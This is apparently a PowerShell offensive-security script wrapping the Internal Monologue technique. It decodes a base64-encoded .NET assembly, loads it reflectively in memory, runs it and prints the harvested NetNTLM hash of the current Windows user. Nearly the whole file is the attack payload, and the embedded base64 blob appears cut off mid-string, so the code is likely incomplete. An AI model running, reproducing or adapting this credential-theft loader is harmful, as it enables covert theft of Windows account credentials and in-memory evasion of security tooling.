17 lines
22 KiB
PowerShell
17 lines
22 KiB
PowerShell
|
$InternalMonologue = $null
|
|||
|
|
# https://github.com/eladshamir/Internal-Monologue
|
|||
|
|
|
|||
|
|
Function Get-Hash {
|
|||
|
|
|
|||
|
|
if ($InternalMonologue -ne "TRUE") {
|
|||
|
|
$script:InternalMonologue = "TRUE"
|
|||
|
|
echo "Loading Assembly"
|
|||
|
|
$PS = "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
|
|||
|
|
$dllbytes = [System.Convert]::FromBase64String($PS)
|
|||
|
|
$assembly = [System.Reflection.Assembly]::Load($dllbytes)
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
$output = [InternalMonologue.Class1]::Main()
|
|||
|
|
Write-Output ("[+] NetNTLM Hash")
|
|||
|
|
Write-Output $output
|
|||
|
|
}
|